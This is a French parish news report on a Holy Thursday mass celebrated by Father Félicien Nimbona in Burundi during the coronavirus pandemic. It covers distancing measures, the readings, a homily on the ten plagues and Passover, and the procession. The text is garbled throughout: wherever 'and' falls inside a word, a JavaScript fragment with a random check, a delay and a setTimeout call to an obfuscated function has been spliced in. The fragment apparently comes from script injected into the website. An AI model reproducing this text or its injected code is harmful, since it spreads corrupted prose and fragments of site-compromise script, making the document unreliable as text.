La messe de Cène du Seigneur de ce Jeudi Saint, premier jour du Triduum Pascal, a commencé à 18h et était présidée par le Père Félicien NIMBONA portant un ornement blanc. Face à cette pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andémie de corona virus qui affecte le monde, le célébrant, dans son mot d’introduction, a d’abord demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andé aux fidèles de respecter la distanciation sociale. Nous avons une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande église y compris aussi la cour Mariale, ne vous entassez pas les uns contre les autres, éparpillez-vous un peu partout ; cette pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andémie n’est pas à prendre à la légère, a-t-il insisté. Pour lui, c’est la première fois depuis son existence qu’une pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andémie pousse les églises à fermer leurs portes, interdit les fidèles à se saluer.

Aujourd’hui, a-t-il poursuivi, l’Eglise catholique célèbre la Sainte Cène qui est d’abord destinée à faire mémoire : « Faites cela en mémoire de moi ». C’est aussi un repas d’action de grâce, une célébration de la victoire du Christ sur le péché et sur la mort. L’Eglise célèbre encore aujourd’hui la fête du sacerdoce ministériel. Le Père Nimbona a ainsi suggéré aux fidèles présents de souhaiter bonne fête à tous les prêtres qu’ils connaissent et de prier incessamment pour eux.

Signalons que la liturgie de Jeudi Saint nous fait vivre une expérience spirituelle d’intimité avec Jésus, de recueillement et d’amour d’une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande gravité. Nous revivons le dernier repas de Jésus avec ses disciples et aussi son agonie au jardin des oliviers. Le Jeudi Saint est un temps exceptionnel d’union avec Jésus.

Notons que pendant tout le temps que la Chorale Sainte Maria Goretti, qui animait la messe, chantait le Gloria retentissaient les cloches.

C’est pendant cette messe que se fait normalement le rite de lavement des pieds des disciples par Jésus. Nonobstant, cette année, suite à ce fléau qui frappe le monde, le rite n’a pas eu lieu. Ainsi, le geste du Christ qui se fait serviteur n’a pas été répété.

Les saintes Ecritures ont été respectivement tirées du livre d’Exode 12,1-8.11-14 ; de la première lettre de saint Paul apôtre aux Corinthiens 1co11, 23-26 et Évangile de Jésus Christ selon saint Jean 13,1-15.

Dans son homélie, l’officiant a commencé par montrer à l’assemblée de Dieu la ressemblance de toutes les trois lectures : c’est le repas. Il a signalé que, dans la culture burundaise, quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on invite quelqu’un on s’attend à un partage de bière contrairement aux juifs chez qui le repas a une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande valeur. Les juifs ont mangé avant de quitter l’Egypte où ils étaient esclaves pendant des années. Dieu est passé par Moise et Aaron  pour demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander à Pharaon de laisser son peuple rentrer et il a résisté au premier moment.

Le Père NIMBONA a ainsi énuméré les dix châtiments (plaies) que Dieu a infligés aux égyptiens pour convaincre Pharaon de les laisser partir. C’est notamment :

  1. Toutes les eaux qui sont dans le fleuve se chargèrent en sang.
  2. Les grenouilles montèrent et recouvrirent l’Egypte.
  3. Toute la poussière du sol se changea en moustiques.
  4. Des taons en grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nombre entrèrent dans tout le pays d’Egypte.
  5. Tous les troupeaux des égyptiens moururent.
  6. Gens et bêtes furent couverts d’ulcères bourgeonnant en pustules.
  7. Yahvé fit tomber la grêle sur le pays d’Egypte.
  8. Les sauterelles couvrirent toute la surface du pays.
  9. Il y eut d’épaisses ténèbres.
  10. Tous les premiers-nés mourront dans le pays d’Egypte.

La leçon qui s’y trouve est que Dieu nous montre toujours des signes visibles et nous faisons semblant comme si nous n’avons rien vu. Le célébrant s’est posé une question : Qu’est-ce qui est notre Egypte? Et de répondre : c’est là où nous faisons les mauvais actes. Aujourd’hui, toute personne, qui croit que Jésus Christ est l’Enfant de Dieu, est déjà sauvé car il a donné sa vie sur la croix pour nous. Il a cité ici la célèbre phrase de Saint Irénée de Lyon « La gloire de Dieu, c’est l’homme debout ». Il l’a expliqué comme suit : Quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and l’homme est malade, il reste toujours endormi. C’est la même chose quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and il est pécheur. Nous devrions nous rappeler que nous sommes dans un voyage ici sur terre. Ainsi, nous devrions vivre sur terre en sachant que chez nous, c’est au ciel.

Il a ensuite expliqué pourquoi les juifs ont mangé de la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande avec des légumes amères et du pain sans levain. Les légumes amères caractérisent 400 ans d’esclavagisme. Ils n’ont pas oublié ces années mais ont seulement pardonné leurs bourreaux. Le pain sans levain qu’ils ont mangé est dû au fait qu’ils étaient pressés et n’avaient pas assez de temps.

Il a terminé son homélie en montrant aux fidèles qu’eux-aussi peuvent célébrer la fête de Pâques comme Jésus en remerciant Dieu pour tous les changements positifs dans leur vie.

À la fin de la célébration, il y a eu la procession du Saint Sacrement vers le reposoir qui était préparé dans la salle polyvalente. Seuls les servants de messe, la chorale et les membres du protocole pouvaient participer à cette procession.

Nadège et Ingrid